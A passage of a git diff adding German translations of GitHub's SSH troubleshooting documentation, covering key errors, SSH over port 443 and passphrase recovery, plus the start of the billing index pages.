+> debug1: identity file /Users/YOU/.ssh/id_rsa-cert type -1
+> debug1: identity file /Users/YOU/.ssh/id_dsa type -1
+> debug1: identity file /Users/YOU/.ssh/id_dsa-cert type -1
+> ...
+> debug1: Authentications that can continue: publickey
+> debug1: Next authentication method: publickey
+> debug1: Trying private key: /Users/YOU/.ssh/id_rsa
+> debug1: Trying private key: /Users/YOU/.ssh/id_dsa
+> debug1: No more authentication methods to try.
+> Permission denied (publickey).
+```
+
+In that example, we did not have any keys for SSH to use. The "-1" at the end of the "identity file" lines means SSH couldn't find a file to use. Later on, the "Trying private key" lines also indicate that no file was found. If a file existed, those lines would be "1" and "Offering public key", respectively:
+
+```shell
+$ ssh -vT git@{% data variables.command_line.codeblock %}
+> ...
+> debug1: identity file /Users/YOU/.ssh/id_rsa type 1
+> ...
+> debug1: Authentications that can continue: publickey
+> debug1: Next authentication method: publickey
+> debug1: Offering RSA public key: /Users/YOU/.ssh/id_rsa
+```
+
+## Verify the public key is attached to your account
+
+You must provide your public key to {% data variables.product.product_name %} to establish a secure connection.
+
+{% mac %}
+
+1. Open Terminal.
+2. Start SSH agent in the background.
+  ```shell
+  $ eval "$(ssh-agent -s)"
+  > Agent pid 59566
+  ```
+3. Find and take a note of your public key fingerprint. 
+  ```shell
+  $ ssh-add -l -E sha256
+  > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA)
+  ```
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.ssh %}
+6. Compare the list of SSH keys with the output from the `ssh-add` command.
+![SSH key listing in {% data variables.product.product_name %}](/assets/images/help/settings/ssh_key_listing.png)
+
+{% endmac %}
+
+{% windows %}
+
+1. Open the command line.
+2. Start SSH agent in the background.
+  ```shell
+  $ ssh-agent -s
+  > Agent pid 59566
+  ```
+3. Find and take a note of your public key fingerprint. 
+  ```shell
+  $ ssh-add -l -E sha256
+  > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA)
+  ```
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.ssh %}
+6. Compare the list of SSH keys with the output from the `ssh-add` command.
+![SSH key listing in {% data variables.product.product_name %}](/assets/images/help/settings/ssh_key_listing.png)
+
+{% endwindows %}
+
+{% linux %}
+
+1. Open Terminal.
+2. Start SSH agent in the background.
+  ```shell
+  $ eval "$(ssh-agent -s)"
+  > Agent pid 59566
+  ```
+3. Find and take a note of your public key fingerprint. If you're using OpenSSH 6.7 or older:
+  ```shell
+  $ ssh-add -l
+  > 2048 a0:dd:42:3c:5a:9d:e4:2a:21:52:4e:78:07:6e:c8:4d /Users/USERNAME/.ssh/id_rsa (RSA)
+  ```
+
+  If you're using OpenSSH 6.8 or newer:
+  ```shell
+  $ ssh-add -l -E md5
+  > 2048 MD5:a0:dd:42:3c:5a:9d:e4:2a:21:52:4e:78:07:6e:c8:4d /Users/USERNAME/.ssh/id_rsa (RSA)
+  ```
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.ssh %}
+6. Compare the list of SSH keys with the output from the `ssh-add` command.
+![SSH key listing in {% data variables.product.product_name %}](/assets/images/help/settings/ssh_key_listing.png)
+
+{% endlinux %}
+
+If you don't see your public key in {% data variables.product.product_name %}, you'll need to [add your SSH key to {% data variables.product.product_name %}](/articles/adding-a-new-ssh-key-to-your-github-account) to associate it with your computer.
+
+{% warning %}
+
+**Warning**: If you see an SSH key you're not familiar with on {% data variables.product.product_name %}, delete it immediately and contact {% data variables.contact.contact_support %}, for further help. An unidentified public key may indicate a possible security concern. For more information, see "[Reviewing your SSH keys](/articles/reviewing-your-ssh-keys)."
+
+{% endwarning %}
diff --git a/translations/de-DE/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-other-user.md b/translations/de-DE/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-other-user.md
new file mode 100644
index 0000000000..a49e0a254c
--- /dev/null
+++ b/translations/de-DE/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-other-user.md
@@ -0,0 +1,24 @@
+---
+title: 'Fehler: „Permission to user/repo denied to other-user“ (Berechtigung für „user/repo" für „other-user" verweigert)'
+intro: 'Diese Fehlermeldung bedeutet, dass der Schlüssel, den Du beim Push verwendest, an ein Konto angehängt ist, das keinen Zugriff auf das Repository hat.'
+redirect_from:
+  - /articles/error-permission-to-user-repo-denied-to-other-user
+  - /articles/error-permission-to-userrepo-denied-to-other-user
+  - /github/authenticating-to-github/error-permission-to-userrepo-denied-to-other-user
+  - /github/authenticating-to-github/troubleshooting-ssh/error-permission-to-userrepo-denied-to-other-user
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSH
+shortTitle: Permission denied other-user
+ms.openlocfilehash: b46df8f9e8671008b37d3db69e2094e96e0413b8
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085879'
+---
+Zur Behebung dieses Problems muss der Inhaber des Repositorys (`user`) dein Konto (`other-user`) als Mitwirkenden am Repository oder als Mitglied eines Teams mit Schreibrechten für das Repository hinzufügen.
diff --git a/translations/de-DE/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-userother-repo.md b/translations/de-DE/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-userother-repo.md
new file mode 100644
index 0000000000..49e88ef2a4
--- /dev/null
+++ b/translations/de-DE/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-userother-repo.md
@@ -0,0 +1,26 @@
+---
+title: 'Fehler: „Permission to user/repo denied to user/other-repo“ (Berechtigung für „user/repo" für „user/other-repo" verweigert)'
+intro: 'Diese Fehlermeldung bedeutet, dass der Schlüssel, den du beim Pushen verwendest, als Bereitstellungsschlüssel an ein anderes Repository angefügt ist und keinen Zugriff auf das Repository hat, in das du pushen möchtest.'
+redirect_from:
+  - /articles/error-permission-to-user-repo-denied-to-user-other-repo
+  - /articles/error-permission-to-userrepo-denied-to-userother-repo
+  - /github/authenticating-to-github/error-permission-to-userrepo-denied-to-userother-repo
+  - /github/authenticating-to-github/troubleshooting-ssh/error-permission-to-userrepo-denied-to-userother-repo
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSH
+shortTitle: Permission denied other-repo
+ms.openlocfilehash: 4d4898e947338e39c5ade86b5ea0a71f54f36f03
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145085876'
+---
+Um dies zu beheben, entferne den Bereitstellungsschlüssel aus dem Repository, und [füge stattdessen den Schlüssel zu deinem persönlichen Konto hinzu](/articles/adding-a-new-ssh-key-to-your-github-account).
+
+Wenn der von dir verwendete Schlüssel ein Bereitstellungsschlüssel sein soll, findest du weitere Informationen in [unserem Leitfaden zu Bereitstellungsschlüsseln](/guides/managing-deploy-keys).
diff --git a/translations/de-DE/content/authentication/troubleshooting-ssh/error-ssh-add-illegal-option----k.md b/translations/de-DE/content/authentication/troubleshooting-ssh/error-ssh-add-illegal-option----k.md
new file mode 100644
index 0000000000..e6bdf10a10
--- /dev/null
+++ b/translations/de-DE/content/authentication/troubleshooting-ssh/error-ssh-add-illegal-option----k.md
@@ -0,0 +1,44 @@
+---
+title: 'Fehler: „ssh-add: illegal option -- K“'
+intro: 'Diese Fehlermeldung bedeutet, dass deine Version von `ssh-add` die macOS-Keychainintegration nicht unterstützt, die das Speichern deiner Passphrase in der Keychain ermöglicht.'
+redirect_from:
+  - /articles/error-ssh-add-illegal-option-k
+  - /articles/error-ssh-add-illegal-option----k
+  - /github/authenticating-to-github/error-ssh-add-illegal-option----k
+  - /github/authenticating-to-github/troubleshooting-ssh/error-ssh-add-illegal-option----k
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSH
+shortTitle: 'ssh-add: illegal option -- K'
+ms.openlocfilehash: a9c563f637d2deb544611c8b357761ff1148fa1c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085875'
+---
+Die Option `-K` ist in Apples Standardversion von `ssh-add`, die die Passphrase in deiner Schlüsselkette für dich speichert, wenn du einen SSH-Schlüssel zum SSH-Agenten hinzufügst. Wenn du eine andere Version von `ssh-add` installiert hast, fehlt möglicherweise die Unterstützung für `-K`.
+
+## Das Problem beheben
+
+Um deinen privaten SSH-Schlüssel zum SSH-Agent hinzuzufügen, kannst du den Pfad zur Apple-Version von `ssh-add` angeben:
+
+```shell
+  $ /usr/bin/ssh-add -K ~/.ssh/id_ed25519
+```
+
+{% note %}
+
+**Hinweis:** {% data reusables.ssh.add-ssh-key-to-ssh-agent %}
+
+{% endnote %}
+
+## Weitere Informationsquellen
+
+- „[Generieren eines neuen SSH-Schlüssels und Hinzufügen zu SSH-Agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)“
+- [Linus-Manpage für SSH-ADD](http://man7.org/linux/man-pages/man1/ssh-add.1.html)
+- Führe `man ssh-add` im Terminal aus, um die Manpage von Apple für SSH-ADD anzuzeigen.
diff --git a/translations/de-DE/content/authentication/troubleshooting-ssh/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok.md b/translations/de-DE/content/authentication/troubleshooting-ssh/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok.md
new file mode 100644
index 0000000000..98786342ac
--- /dev/null
+++ b/translations/de-DE/content/authentication/troubleshooting-ssh/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok.md
@@ -0,0 +1,36 @@
+---
+title: 'Fehler: „SSL certificate problem, verify that the CA cert is OK“ (SSL-Zertifikatsproblem, verifiziere, dass das CA-Zertifikat OK ist)'
+intro: 'Diese Fehlermeldung bedeutet, dass Dein CA-Root-Zertifikat veraltet ist. Wenn dein CA-Root-Zertifikat aktualisiert werden muss, kannst du keine Inhalte von {% data variables.product.product_name %}-Repositorys abrufen oder dorthin pushen.'
+redirect_from:
+  - /articles/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok
+  - /github/authenticating-to-github/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok
+  - /github/authenticating-to-github/troubleshooting-ssh/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - SSH
+shortTitle: SSL certificate problem
+ms.openlocfilehash: 26777edf5b312c8f45c5b1fb211b87648778cf13
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145085868'
+---
+Die angezeigte Fehlermeldung sieht ähnlich wie die folgende aus:
+
+```shell
+$ git push -u github.main
+> fatal: 'github.main' does not appear to be a git repository
+> fatal: The remote end hung up unexpectedly
+
+$ git pull -u github
+> error: SSL certificate problem, verify that the CA cert is OK. Details:
+> error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed while accessing https://github.com/tqisjim/google-oauth.git/info/refs
+> fatal: HTTP request failed
+```
+
+Die Abkürzung „CA“ steht für „certificate authority“ (Zertifizierungsstelle), also ein Drittanbieter, der für sichere Verbindungen im Internet verantwortlich ist. Der Drittanbieter erstellt digitale „Zertifikate“, mit denen sichergestellt wird, dass zwischen zwei Rechnern (zum Beispiel zwischen Deinem Computern und GitHub.com) gültige Verbindungen bestehen. Ohne Zertifikat ist das Sicherheitsrisiko bei Verbindungen zwischen zwei Rechnern größer.
+
+Wenn diese Fehlermeldung angezeigt wird, bedeutet sie wahrscheinlich, dass Deine CA veraltet ist und aktualisiert werden muss. Im Allgemeinen wird bei einem Update Deines Betriebssystems auch Deine CA aktualisiert, was das Problem behebt.
diff --git a/translations/de-DE/content/authentication/troubleshooting-ssh/error-unknown-key-type.md b/translations/de-DE/content/authentication/troubleshooting-ssh/error-unknown-key-type.md
new file mode 100644
index 0000000000..5d21bf0aff
--- /dev/null
+++ b/translations/de-DE/content/authentication/troubleshooting-ssh/error-unknown-key-type.md
@@ -0,0 +1,44 @@
+---
+title: 'Fehler: Unbekannter Schlüsseltyp'
+intro: 'Dieser Fehler bedeutet, dass der von dir verwendete SSH-Schlüsseltyp nicht erkannt wurde oder von deinem SSH-Client nicht unterstützt wird. '
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSH
+redirect_from:
+  - /github/authenticating-to-github/error-unknown-key-type
+  - /github/authenticating-to-github/troubleshooting-ssh/error-unknown-key-type
+ms.openlocfilehash: 83bf8714255a4d8f028beb73fd5c8fbcdbb0ef52
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147065898'
+---
+## Informationen zum Fehler `unknown key type`
+
+Beim Generieren eines neuen SSH-Schlüssels erhältst du möglicherweise einen Fehler vom Typ `unknown key type`, wenn dein SSH-Client den von dir angegebenen Schlüsseltyp nicht unterstützt.{% mac %}Um dieses Problem unter macOS zu lösen, kannst du deinen SSH-Client aktualisieren oder einen neuen SSH-Client installieren.
+
+## Voraussetzungen
+
+Homebrew muss installiert sein. Weitere Informationen findest du im [Installationshandbuch](https://docs.brew.sh/Installation) in der Homebrew-Dokumentation.
+
+## Das Problem beheben
+
+{% warning %}
+
+**Warnung:** Wenn du OpenSSH installierst, kann dein Computer keine Passphrases abrufen, die in der Apple-Keychain gespeichert sind. Du musst jedes Mal deine Passphrase eingeben oder mit deinem Hardwaresicherheitsschlüssel interagieren, wenn du dich mit SSH bei {% data variables.product.prodname_dotcom %} oder einem anderen Webdienst authentifizierst.
+
+Wenn du OpenSSH entfernst, können die in der Keychain gespeicherten Passphrases wieder abgerufen werden. Du kannst OpenSSH entfernen, indem du den Befehl `brew uninstall openssh` im Terminal eingibst.
+
+{% endwarning %}
+
+1. Öffne das Terminal.
+2. Gib den Befehl `brew install openssh` ein.
+3. Beende das Terminal, und starte es neu.
+4. Wiederhole die Prozedur zum Generieren eines neuen SSH-Schlüssels. Weitere Informationen findest du unter [Generieren eines neuen SSH-Schlüssels und Hinzufügen des Schlüssels zum SSH-Agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key).
+
+{% endmac %}{% linux %}Um das Problem unter Linux zu beheben, verwende den Paket-Manager für deine Linux-Distribution, um eine neue Version von OpenSSH zu installieren, oder kompiliere eine neue Version aus der Quelle. Wenn du eine andere Version von OpenSSH installierst, kann die Fähigkeit anderer Anwendungen, sich über SSH zu authentifizieren, beeinträchtigt sein. Weitere Informationen hierzu findest du in der Dokumentation für deine Distribution.{% endlinux %}
diff --git a/translations/de-DE/content/authentication/troubleshooting-ssh/error-were-doing-an-ssh-key-audit.md b/translations/de-DE/content/authentication/troubleshooting-ssh/error-were-doing-an-ssh-key-audit.md
new file mode 100644
index 0000000000..44f416013a
--- /dev/null
+++ b/translations/de-DE/content/authentication/troubleshooting-ssh/error-were-doing-an-ssh-key-audit.md
@@ -0,0 +1,36 @@
+---
+title: 'Fehler: „We''re doing an SSH key audit“ (Es wird ein SSH-Schlüsselaudit durchgeführt)'
+intro: 'Diese Fehlermeldung bedeutet, dass der SSH-Schlüssel, den Du für die Ausführung eines Git-Vorgangs verwendest, nicht verifiziert ist.'
+redirect_from:
+  - /articles/error-we-re-doing-an-ssh-key-audit
+  - /articles/error-were-doing-an-ssh-key-audit
+  - /github/authenticating-to-github/error-were-doing-an-ssh-key-audit
+  - /github/authenticating-to-github/troubleshooting-ssh/error-were-doing-an-ssh-key-audit
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSH
+shortTitle: SSH key audit
+ms.openlocfilehash: 8683f5506fc2a026c11f22f2086de2308d096906
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145085852'
+---
+Wenn Du zum Ausführen von Git-Vorgängen einen nicht verifizierten Schlüssel verwendest, wirst Du dazu aufgefordert, ein Audit Deiner SSH-Schlüssel durchzuführen.
+
+```shell
+ERROR: We're doing an SSH key audit.
+Reason: unverified due to lack of use
+Please visit https://github.com/settings/ssh
+to approve this key so we know it's safe.
+Fingerprint: ab:08:46:83:ff:f6:c4:f8:a9:4e:68:6b:94:17:f2:46
+fatal: could not read from remote repository
+```
+## Das Problem beheben
+
+Um dies zu beheben, musst du [deine SSH-Schlüssel überprüfen](/articles/reviewing-your-ssh-keys) und entweder den nicht überprüften Schlüssel ablehnen oder genehmigen. Klicke auf den URL-Link in der Fehlermeldung. Daraufhin wird die Seite mit den SSH-Einstellungen angezeigt, wo der nicht verifizierte SSH-Schlüssel in der SSH-Schlüsselliste hervorgehoben ist.
diff --git a/translations/de-DE/content/authentication/troubleshooting-ssh/index.md b/translations/de-DE/content/authentication/troubleshooting-ssh/index.md
new file mode 100644
index 0000000000..d3a90ac4c2
--- /dev/null
+++ b/translations/de-DE/content/authentication/troubleshooting-ssh/index.md
@@ -0,0 +1,35 @@
+---
+title: Fehlerbehebung bei der SSH
+intro: 'Wenn du SSH zur Authentifizierung und Verbindung mit {% data variables.product.product_name %} verwendest, treten eventuell unerwartete Fehler auf, die du beheben musst.'
+redirect_from:
+  - /articles/troubleshooting-ssh
+  - /github/authenticating-to-github/troubleshooting-ssh
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSH
+children:
+  - /using-ssh-over-the-https-port
+  - /recovering-your-ssh-key-passphrase
+  - /deleted-or-missing-ssh-keys
+  - /error-permission-denied-publickey
+  - /error-bad-file-number
+  - /error-key-already-in-use
+  - /error-permission-to-userrepo-denied-to-other-user
+  - /error-permission-to-userrepo-denied-to-userother-repo
+  - /error-agent-admitted-failure-to-sign
+  - /error-ssh-add-illegal-option----k
+  - /error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok
+  - /error-unknown-key-type
+  - /error-were-doing-an-ssh-key-audit
+ms.openlocfilehash: aaf218a14122d77f251f52c9253c67726e943d56
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145085851'
+---
+
diff --git a/translations/de-DE/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md b/translations/de-DE/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md
new file mode 100644
index 0000000000..2ad05c5ec4
--- /dev/null
+++ b/translations/de-DE/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md
@@ -0,0 +1,44 @@
+---
+title: Recovering your SSH key passphrase
+intro: 'If you''ve lost your SSH key passphrase, depending on the operating system you use, you may either recover it or you may need to generate a new SSH key passphrase.'
+redirect_from:
+  - /articles/how-do-i-recover-my-passphrase
+  - /articles/how-do-i-recover-my-ssh-key-passphrase
+  - /articles/recovering-your-ssh-key-passphrase
+  - /github/authenticating-to-github/recovering-your-ssh-key-passphrase
+  - /github/authenticating-to-github/troubleshooting-ssh/recovering-your-ssh-key-passphrase
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - SSH
+shortTitle: Recover SSH key passphrase
+---
+{% mac %}
+
+If you [configured your SSH passphrase with the macOS keychain](/articles/working-with-ssh-key-passphrases#saving-your-passphrase-in-the-keychain), you may be able to recover it.
+
+1. In Finder, search for the **Keychain Access** app.
+   ![Spotlight Search bar](/assets/images/help/setup/keychain-access.png)
+2. In Keychain Access, search for **SSH**.
+3. Double click on the entry for your SSH key to open a new dialog box.
+4. In the lower-left corner, select **Show password**.
+   ![Keychain access dialog](/assets/images/help/setup/keychain_show_password_dialog.png)
+5. You'll be prompted for your administrative password. Type it into the "Keychain Access" dialog box.
+6. Your password will be revealed.
+
+{% endmac %}
+
+{% windows %}
+
+If you lose your SSH key passphrase, there's no way to recover it. You'll need to [generate a brand new SSH keypair](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) or [switch to HTTPS cloning](/github/getting-started-with-github/about-remote-repositories#cloning-with-https-urls) so you can use a {% data variables.product.pat_generic %} instead.
+
+{% endwindows %}
+
+{% linux %}
+
+If you lose your SSH key passphrase, there's no way to recover it. You'll need to [generate a brand new SSH keypair](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) or [switch to HTTPS cloning](/github/getting-started-with-github/about-remote-repositories#cloning-with-https-urls) so you can use a {% data variables.product.pat_generic %} instead.
+
+{% endlinux %}
diff --git a/translations/de-DE/content/authentication/troubleshooting-ssh/using-ssh-over-the-https-port.md b/translations/de-DE/content/authentication/troubleshooting-ssh/using-ssh-over-the-https-port.md
new file mode 100644
index 0000000000..92f37fba9d
--- /dev/null
+++ b/translations/de-DE/content/authentication/troubleshooting-ssh/using-ssh-over-the-https-port.md
@@ -0,0 +1,78 @@
+---
+title: Using SSH over the HTTPS port
+intro: 'Sometimes, firewalls refuse to allow SSH connections entirely.  If using [HTTPS cloning with credential caching](/github/getting-started-with-github/caching-your-github-credentials-in-git) is not an option, you can attempt to clone using an SSH connection made over the HTTPS port.  Most firewall rules should allow this, but proxy servers may interfere.'
+redirect_from:
+  - /articles/using-ssh-over-the-https-port
+  - /github/authenticating-to-github/using-ssh-over-the-https-port
+  - /github/authenticating-to-github/troubleshooting-ssh/using-ssh-over-the-https-port
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - SSH
+shortTitle: Use SSH over HTTPS port
+---
+{% tip %}
+
+**{% data variables.product.prodname_ghe_server %} users**: Accessing {% data variables.product.prodname_ghe_server %} via SSH over the HTTPS port is currently not supported.
+
+{% endtip %}
+
+To test if SSH over the HTTPS port is possible, run this SSH command:
+
+```shell
+$ ssh -T -p 443 git@ssh.github.com
+> Hi USERNAME! You've successfully authenticated, but GitHub does not
+> provide shell access.
+```
+
+{% note %}
+
+**Note**: The hostname for port 443 is `ssh.{% data variables.command_line.backticks %}`, not `{% data variables.command_line.backticks %}`.
+
+{% endnote %} 
+
+If that worked, great! If not, you may need to [follow our troubleshooting guide](/articles/error-permission-denied-publickey).
+
+Now, to clone the repository, you can run the following command:
+
+```
+$ git clone ssh://git@ssh.{% data variables.command_line.codeblock %}:443/YOUR-USERNAME/YOUR-REPOSITORY.git
+```
+
+## Enabling SSH connections over HTTPS
+
+If you are able to SSH into `git@ssh.{% data variables.command_line.backticks %}` over port 443, you can override your SSH settings to force any connection to {% data variables.location.product_location %} to run through that server and port.
+
+To set this in your SSH configuration file, edit the file at `~/.ssh/config`, and add this section:
+
+```
+Host {% data variables.command_line.codeblock %}
+Hostname ssh.{% data variables.command_line.codeblock %}
+Port 443
+User git
+```
+
+You can test that this works by connecting once more to {% data variables.location.product_location %}:
+
+```shell
+$ ssh -T git@{% data variables.command_line.codeblock %}
+> Hi USERNAME! You've successfully authenticated, but GitHub does not
+> provide shell access.
+```
+
+## Updating known hosts
+
+The first time you interact with GitHub after switching to port 443, you may get a warning message
+that the host wasn't found in `known_hosts`, or that it was found by another name.
+
+```ShellSession
+> The authenticity of host '[ssh.github.com]:443 ([140.82.112.36]:443)' can't be established.
+> ED25519 key fingerprint is SHA256:+DiY3wvvV6TuJJhbpZisF/zLDA0zPMSvHdkr4UvCOqU.
+> This host key is known by the following other names/addresses:
+>     ~/.ssh/known_hosts:32: github.com
+> Are you sure you want to continue connecting (yes/no/[fingerprint])? 
+```
+
+It is safe to answer `yes` to this question, assuming that the SSH fingerprint matches
+one of GitHub's published fingerprints. For more information, see "[Github's SSH key fingerprints](/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints)."
diff --git a/translations/de-DE/content/billing/index.md b/translations/de-DE/content/billing/index.md
new file mode 100644
index 0000000000..0e66fa1a48
--- /dev/null
+++ b/translations/de-DE/content/billing/index.md
@@ -0,0 +1,64 @@
+---
+title: Abrechnung und Zahlungen auf GitHub
+shortTitle: Billing and payments
+intro: '{% ifversion fpt %}{% data variables.product.product_name %} bietet für jedes Konto kostenlose und kostenpflichtige Produkte. Du kannst das Abonnement deines Kontos jederzeit hoch- oder herabstufen und deine Abrechnungseinstellungen verwalten.{% elsif ghec or ghes or ghae %}{% data variables.product.company_short %} stellt für Mitglieder Ihres Unternehmens die {% ifversion ghec or ghae %}Nutzung {% data variables.product.product_name %}{% elsif ghes %} Lizenzen für {% data variables.product.product_name %}{% ifversion ghes %} und alle weiteren erworbenen Diensten in Rechnung{% endif %}{% endif %}. {% endif %}{% ifversion ghec %} Du kannst dein Abonnement jederzeit einsehen und deine Rechnungseinstellungen verwalten. {% endif %}{% ifversion fpt or ghec %} Du kannst auch die Nutzung von Features wie {% data variables.product.product_name %}, {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %} und {% data variables.product.prodname_github_codespaces %} einsehen und Ausgabenlimits verwalten.{% endif %}'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github
+  - /categories/setting-up-and-managing-billing-and-payments-on-github
+introLinks:
+  overview: '{% ifversion fpt or ghec %}/billing/managing-your-github-billing-settings/about-billing-on-github{% elsif ghes%}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}'
+featuredLinks:
+  guides:
+    - '{% ifversion fpt or ghec %}/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method{% endif %}'
+    - '{% ifversion fpt %}/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription{% endif %}'
+    - '{% ifversion ghec %}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}'
+    - '{% ifversion fpt or ghec %}/billing/managing-your-github-billing-settings/setting-your-billing-email{% endif %}'
+    - '{% ifversion fpt or ghec %}/billing/managing-billing-for-your-github-account/about-per-user-pricing{% endif %}'
+    - '{% ifversion ghes %}/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account{% endif %}'
+    - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise{% endif %}'
+    - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise{% endif %}'
+    - '{% ifversion ghae %}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}'
+  popular:
+    - '{% ifversion ghec %}/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account{% endif %}'
+    - '{% ifversion fpt or ghec %}/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription{% endif %}'
+    - '{% ifversion fpt or ghec %}/billing/managing-billing-for-github-actions/about-billing-for-github-actions{% endif %}'
+    - '{% ifversion fpt or ghec %}/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces{% endif %}'
+    - '{% ifversion ghes %}/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security{% endif %}'
+    - '{% ifversion ghes %}/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage{% endif %}'
+    - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server{% endif %}'
+    - '{% ifversion ghae %}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}'
+  guideCards:
+    - /billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process
+    - /billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage
+    - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise{% endif %}'
+    - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud{% endif %}'
+layout: product-landing
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Billing
+children:
+  - /managing-your-github-billing-settings
+  - /managing-billing-for-your-github-account
+  - /managing-your-license-for-github-enterprise
+  - /managing-licenses-for-visual-studio-subscriptions-with-github-enterprise
+  - /managing-billing-for-github-actions
+  - /managing-billing-for-github-codespaces
+  - /managing-billing-for-github-packages
+  - /managing-billing-for-github-copilot
+  - /managing-billing-for-github-advanced-security
+  - /managing-billing-for-github-sponsors
+  - /managing-billing-for-github-marketplace-apps
+  - /managing-billing-for-git-large-file-storage
+  - /setting-up-paid-organizations-for-procurement-companies
+ms.openlocfilehash: 977d170024ddec1d49f51723b654ee7171915e94
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109294'
+---
+
diff --git a/translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage.md b/translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage.md
new file mode 100644
index 0000000000..61cbdfee5b
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage.md
@@ -0,0 +1,48 @@
+---
